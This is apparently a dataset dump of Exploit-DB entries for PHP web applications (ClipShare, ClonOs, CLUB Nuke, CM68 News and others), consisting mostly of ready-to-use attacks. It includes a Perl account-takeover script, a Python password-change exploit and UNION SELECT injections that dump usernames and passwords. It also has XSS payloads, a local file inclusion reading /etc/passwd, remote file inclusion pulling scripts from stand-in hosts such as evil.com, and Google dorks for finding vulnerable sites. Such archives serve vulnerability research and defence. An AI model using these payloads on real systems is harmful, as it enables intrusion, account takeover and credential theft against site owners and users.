deardaniel/secdata-raw huggingface dataset:
Exploit-DB #4837
Description: ClipShare 2.6 - Remote User Password Change
Type: webapps
Platform: php
Date: 2008-01-05
Author: Pr0metheuS

Exploit:
#!/usr/bin/perl -w
#priv8
#Pr0metheuS
#Exploit Name: Clipshare Remote User Password Change Exploit
#Version Script: Clipshare 2.6
#Dork: "Powered by Clipshare"
#EnjoY
print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-";
print "\nClipshare 2.6 Remote User Passord Change Exploit\n";
print "\nBy Pr0metheuS \n";
print "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n";
print "Site Address:\n";
$SITE = <STDIN>;
chomp $SITE;
print "Path to Site:\n";
$PATH = <STDIN>;
chomp $PATH;
print "ID user:\n";
$ID = <STDIN>;
chomp $ID;
print "Your Email(to send user password):\n";
$EM = <STDIN>;
chomp $EM;
use LWP::UserAgent;
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => "$SITE$PATH/siteadmin/useredit.php?action=edit&uid=$ID");
$req->content_type('application/x-www-form-urlencoded');
$req->content("email=$EM&fname=&lname=&city=&country=United+States&website=&occupation=&company=&school=&interest_hobby=&fav_movie_show=&fav_book=&fav_music=&aboutme=&emailverified=no&account_status=Active&submit=Update");
$res = $ua->request($req);
if (($res->content =~ /$EM/)) {
print "Update!\n";
use LWP::UserAgent;
$ua2 = new LWP::UserAgent;
$ua2->agent("Mozilla/8.0");
$ua2 = LWP::UserAgent->new;
my $req2 = HTTP::Request->new(POST => "$SITE$PATH/recoverpass.php");
$req2->content_type('application/x-www-form-urlencoded');
$req2->content("email=$EM&recover=Submit");
$res = $ua2->request($req2);
print "Check your Email!\n";
}
else{
print "Wrong ID or path!";
}

# milw0rm.com [2008-01-05]
Exploit-DB #42967
Description: ClipShare 7.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-09
Author: 8bitsec

Exploit:
# Exploit Title: ClipShare v7.0 - SQL Injection
# Date: 2017-10-09
# Exploit Author: 8bitsec
# Vendor Homepage: http://www.clip-share.com/
# Software Link: http://www.clip-share.com/
# Version: 7.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-09

Product & Service Introduction:
===============================
ClipShare is the first and most popular PHP video script for building highly-profitable video sharing websites.

Technical Details & Description:
================================

SQL injection on [category] URI parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://localhost/[path]/videos/[category]' AND 5593=5593 AND 'LJPS'='LJPS

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: https://localhost/[path]/videos/[category]' AND SLEEP(5) AND 'xNCN'='xNCN

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #5839
Description: ClipShare < 3.0.1 - 'tid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-17
Author: SuNHouSe2

Exploit:
             /************************************************************************/
             /*                                                                      */
             /*                             Clipshare                                */
             /*                                                                      */
             /*                  Remote SQL Injection Vulnerability                  */
             /*                                                                      */
             /*                                                                      */
             /************************************************************************/

 [~]AUTHOR   : SuNHouSe2 [ALGERIAN HaCkEr]

 [~]DORK     : "powered by clipshare"

 [~]VERSION  : less than v3.0.1

 [~]EXPLOIT  : 

             http://localhost/group_posts.php?urlkey=1&gid=1&tid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a3a,uid,username,pwd),6,7+from+signup+limit+0,20/*


          
             ///////////////////////////////////////////////////////////////////////////////////

             ///////    Special ThanX : His0k4 , TrYaG TeAm , & ALL Muslims HaCkErs..../////////

            ///////////////////////////////////////////////////////////////////////////////////
                                        
                                    -=-=-=-= SuNHouSe2@yahoo.com =-=-=-

# milw0rm.com [2008-06-17]
Exploit-DB #32526
Description: ClipShare Pro 4.0 - 'fullscreen.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-23
Author: ShockShadow

Exploit:
source: https://www.securityfocus.com/bid/31898/info

ClipShare Pro is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ClipShare Pro 4.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/[script_dir]/fullscreen.php?title=%3C/title%3E%3Cscript%3Ealert(1);%3C/script%3E
Exploit-DB #32131
Description: ClipSharePro 4.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2014-03-09
Author: Saadi Siddiqui

Exploit:
# Exploit Title  : ClipSharePro <= 4.1 Local File Inclusion
# Date           : 2013/3/9
# Exploit Author : Saadat Ullah ， saadi_linux[at]rocketmail[dot]com
# Software Link  : http://www.clip-share.com
# Author HomePage: http://security-geeks.blogspot.com
# Tested on: Server : Apache/2.2.15 PHP/5.3.3

#Local File Inclusion

ClipsharePro is a paid youtube clone script , suffers from Localfile Inclusion vulnerability through 
which attacker can include arbitrary file in webapp.

LFI in ubr_link_upload.php
Poc code

if($MULTI_CONFIGS_ENABLED){
	if(isset($_GET['config_file']) && strlen($_GET['config_file']) > 0){ $config_file = $_GET['config_file']; }
	else{ showAlertMessage("<font color='red'>ERROR</font>: Failed to find config_file parameter", 1); }
}
else{ $config_file = $DEFAULT_CONFIG; }

// Load config file
require $config_file;  //including arbitrary file $_GET['config_file']
echo $config_file;


The vulnerability can be exploited as..
http://localhost/clips/ClipSharePro/ubr_link_upload.php?config_file=/etc/passwd


For sucessfully exploitation of this vulnerability you need $MULTI_CONFIGS_ENABLED to be 1 in the config file..
In ubr_ini.php

$MULTI_CONFIGS_ENABLED       = 1; --->This value should have to be 1

#Independent Pakistani Security Researcher
Exploit-DB #21133
Description: Clipster Video - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-07
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Clipster Video Persistent XSS Vulnerability 
[~] Date: 04/09/2012
[~] Author: DaOne
[~] Software Link: http://www.clipsterscript.com/
[~] Google Dork: "Powered by ClipsterScript.com"
##########################################

[#] How to exploit:

1-go to : http://site.com/login.php?action=Register
2-Put in the Username field the XSS Code => Example:<META http-equiv="refresh" content="0;URL=http://www.google.com">
3-Put anything in the other field [Password & E-mail] etc...
4-Now anyone go there : http://site.com/ will redirected to google.com or exploit your XSS Code.



##########################################
[*] Contact me
www.facebook.com/LibyanCA2
##########################################
Exploit-DB #2257
Description: CliServ Web Community 0.65 - 'cl_headers' Include
Type: webapps
Platform: php
Date: 2006-08-25
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- CliServ Web Community <= 0.65 (cl_headers) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: CliServ Web Community v. 0.65
- [Script site: http://sourceforge.net/projects/cliserv/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi, nukedclx
-
!@ Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => menu.php3 line 4-8:
....

include($cl_headers);
$query = "DELETE FROM cl_notice WHERE n_expire < ". time();
$result  = db_exec($connection, $query);
if($cl_loggedin == "2") {
....

++++++++++++++++++++++++++++++++++++++++++++++++++
vulnerable code => login.php3 line 4-8:
....

include($cl_header);

?>
<FORM METHOD="POST" ACTION="index.php3">
....
++++++++++++++++++++++++++++++++++++++++++++++++++
*/

#Exploit:

http://www.site.com/[CliServ_path]/menu.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

http://www.site.com/[CliServ_path]/login.php3?cl_headers=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-25]
Exploit-DB #34217
Description: Clix'N'Cash Clone 2010 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-28
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/41202/info

Clix'N'Cash Clone 2010 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?view=[sqli]
Exploit-DB #34378
Description: Clixint Technologies DPI - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-04
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/41986/info

DPI is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

DPI version 1.1f is vulnerable; other versions may also be affected.

http://www.example.com/path/images.php?date=%3Cscript%3Ealert(XSS)%3C/script%3E
Exploit-DB #41108
Description: Clone of Oddee Script 1.1.3 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 15.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Questions and Answers Script V1.1.3
# Script Buy Now: http://www.scriptfolder.com/cool-planet-clone-of-oddee/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #41259
Description: Clone Script Directory Script 1.1.0 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy ScriptZone – Clone Script Directory Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-scriptzone-clone-script-directory-script/
# Demo: http://scriptzone.flippyscripts.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/cat.php?cid=[SQL]
# Etc...
-9999'+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,0x494853414e2053454e43414e3c62723e7777772e696873616e2e6e6574,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+admin-- -
# # # # #
Exploit-DB #11162
Description: CLONEBID B2B Marketplace - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-16
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : CLONEBID B2B Marketplace
Vendor : http://www.clonebid.com

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com

Greetz : Zuka !

*/

# SQL Injection :

File : selloffers.php , Get : cid

[HOST]/[PATH]/selloffers.php?cid=[INJECTION]

Demo : http://server/selloffers.php?cid=-14+union+select+1,version%28%29,3,4,5,6,7,8--

!!! : Same vuln => profiles.php & buyoffers.php

# XSS :

[HOST]/[PATH]/gen_confirm.php?errmsg=[SCRIPT :)]

Demo : http://server/gen_confirm.php?errmsg=%3Cscript%3Ealert%281337%29;%3C/script%3E
Exploit-DB #47544
Description: ClonOs WEB UI 19.09 - Improper Access Control
Type: webapps
Platform: php
Date: 2019-10-25
Author: İbrahim Hakan Şeker

Exploit:
# Exploit Title: ClonOs WEB UI 19.09 - Improper Access Control
# Date: 2019-10-19
# Exploit Author: İbrahim Hakan Şeker
# Vendor Homepage: https://clonos.tekroutine.com/
# Software Link: https://github.com/clonos/control-pane
# Version: 19.09
# Tested on: ClonOs
# CVE : 2019-18418


import requests
from bs4 import BeautifulSoup
import sys

def getUser(host):
    reg=r'\"'
    r1 = requests.post(host+"/json.php",data={"mode":"getJsonPage","path":"/users/","hash":"","db_path":""},headers={"X-Requested-With":"XMLHttpRequest"})
    r1_source = BeautifulSoup(r1.content,"lxml")
    for k in r1_source.findAll("tr"):
        for i in k.findAll("td")[0]:
            print(f"[+]User Found: {i}  User id: {k.get('id').replace(reg,'')}")
def changePassword(host,user,password,id):
    data={
        "mode":"usersEdit",
        "path":"/users/",
        "hash":"",
        "db_path":"",
        "form_data[username]":f"{user}",
        "form_data[password]":f"{password}",
        "form_data[password1]":f"{password}",
        "form_data[first_name]":"",
        "form_data[last_name]":"",
        "form_data[actuser]":"on",
        "form_data[user_id]": int(id)
        }
    r2=requests.post(host,data=data,headers={"X-Requested-With":"XMLHttpRequest"})
    if r2.status_code==200:print("[+]OK")
    else:print("[-]Fail")
if __name__=="__main__":
    if len(sys.argv)>1:
        if "getUser" in sys.argv[1]:getUser(sys.argv[2])
        elif "changePassword" in sys.argv[1]:changePassword(sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
        else:print("Fail parameter")
    else:print("Usage: exploit.py getUser [http://ip_adres]\nexploit.py changePassword [http://ip_adres] [username] [new_password] [user_id]")
Exploit-DB #30070
Description: ClonusWiki 0.5 - 'index.php' HTML Injection
Type: webapps
Platform: php
Date: 2007-05-22
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/24101/info

ClonusWiki is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

This issue is reported to affect ClonusWiki 0.5.


<html>
<head><title>ClonusWiki .5 - Cross-Site Scripting Vulnerability</title><body>
<center><br><br>
<font size=4>ClonusWiki .5 - Cross-Site Scripting Vulnerability</font><br>
<font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a
href="http://redlevel.org">RedLevel Security</a><br><br>
Google d0rk: <a href="http://www.google.com/search?hl=en&q=%22ClonusWiki+.5%22+intitle%3A%22ClonusWiki%22">"ClonusWiki
.5" intitle:"ClonusWiki"</a>
</font><br><br><br>

<center>file <b>index.php</b> - variable <b>query</b> - method <b>get</b></center><br>
<form action="http://clonuswiki.sourceforge.net" method="get">
<input size=75 name="query" value=">"><script>alert(1)</script>">
<input type="hidden" name="action" value="search">
<input type=submit value="Execute XSS Attack" class="button">
</form>
<br>

</body></html>
Exploit-DB #52314
Description: CloudClassroom PHP Project 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2025-06-05
Author: Sanjay Singh

Exploit:
# Exploit Title: CloudClassroom PHP Project 1.0 - SQL Injection
# Google Dork: inurl:CloudClassroom-PHP-Project-master
# Date: 2025-05-30
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://github.com/mathurvishal/CloudClassroom-PHP-Project
# Software Link: https://github.com/mathurvishal/CloudClassroom-PHP-Project/archive/refs/heads/master.zip
# Version: 1.0
# Tested on: XAMPP on Windows 10 / Ubuntu 22.04
# CVE : CVE-2025-45542

# Description:
# A time-based blind SQL injection vulnerability exists in the pass parameter 
# of the registrationform endpoint. An attacker can exploit this issue by sending 
# a malicious POST request to delay server response and infer data.

# PoC Request (simulated using curl):

curl -X POST http://localhost/CloudClassroom-PHP-Project-master/registrationform \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "addrs=3137%20Laguna%20Street&course=1&dob=1967/1/1&email=testing@example.com&faname=test&fname=test&gender=Female&lname=test&pass=u]H[ww6KrA9F.x-F0'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z&phno=94102&sub="

# The server response will be delayed if the SQL condition is true, confirming the injection point.
Exploit-DB #19549
Description: CLscript Classified Script 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2012-07-03
Author: Daniel Godoy

Exploit:
# Exploit Title: CLscript - Classified Script 3.0 / SQL Injection
# Date: 03/07/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Sofware web:
http://www.phpkode.com/scripts/item/clscript-classified-script/
# Tested on: Linux
# Dork: allinurl: classified-listing.php?catId=
#
# www.chap.cl 
# Este Advisory fue descubierto por Daniel Godoy, integrante de
Project CHAP Security
# be secured / stay secure
# contacto@chap.cl

[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, hacklego, Incid3nt,
Maximiliano Soler, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion, ksha, zerial,LinuxFer, Scorp
    her0, r0dr1 y demas user de RemoteExecution
    www.remoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group

 
[PoC]

http://localhost/classified-listing.php?catId=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com
Exploit-DB #12423
Description: CLScript.com Classifieds Software - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-27
Author: 41.w4r10

Exploit:
# Exploit Title: CLScript.com Classifieds Software SQL Injection
Vunerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Vendor Link : http://www.clscript.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork : intext:"Powered by CLscript.com"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

1) http://example.com/help-details.php?hpId=-38'



Live Demo :

1)
http://example.com/help-details.php?hpId=-38+union+select+all+1,version(),3,4,5,6,7--




#41.w4r10r mailto:41.w4r10r@andhrahackers.com
Exploit-DB #28363
Description: CLUB Nuke 2.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-08-09
Author: ASIANEAGLE

Exploit:
source: https://www.securityfocus.com/bid/19442/info

CLUB-Nuke is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 2.0 LCID 2048 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_ADI,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201 
http://www.example.com/club-nuke path/haber_detay.asp?haber_id=-1%20union%20select%200,1,U_SIFRE,3,4,5,6%20from%20UYELER%20where%20U_ID%20like%201 
http://www.example.com/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_ADI,3,4,5%20from%20UYELER%20where%20U_ID%20like%201 
http://www.example.com/club-nuke path/menu.asp?menu_id=-1%20union%20select%200,1,U_SIFRE,3,4,5%20from%20UYELER%20where%20U_ID%20like%201
Exploit-DB #41303
Description: CLUB-8 EMS - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: CLUB-8 EMS - Event Management System - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://rexbd.net/
# Software Buy: https://codecanyon.net/item/club8-ems-event-management-system-a-to-z/14067759
# Demo: http://ems.rexbd.net/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as sales man user
# http://localhost/[PATH]/editwatch.php?id=[SQL]
-999'+/*!50000union*/+select+group_concat(username,char(58),password),0x496873616e2053656e63616e,0x7777772e696873616e2e6e6574,4,5,6,7,8,9,10,11,12,13,14+from+users-- -
#
# http://localhost/[PATH]/editwatch.php?id=[SQL]
-999'+/*!50000union*/+select+1,group_concat(username,char(58),password)+from+users-- -
# # # # #
Exploit-DB #38740
Description: cm3 Acora CMS - 'top.aspx' Information Disclosure
Type: webapps
Platform: php
Date: 2013-08-26
Author: Pedro Andujar

Exploit:
source: https://www.securityfocus.com/bid/62010/info

cm3 Acora CMS is prone to an information-disclosure vulnerability.

Successful exploits of this issue lead to disclosure of sensitive information which may aid in launching further attacks. 

http://www.example.com/AcoraCMS/Admin/top.aspx

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div>
Exploit-DB #2897
Description: CM68 News 12.02.06 - 'addpth' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-08
Author: Paul Bakoyiannis

Exploit:
Vulnerable Software:cm68news
Vulnerable file: /engine/oldnews.inc.php
Credits: Paul Bakoyiannis
Vulnerable Variable: addpath
Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?&

# milw0rm.com [2006-12-08]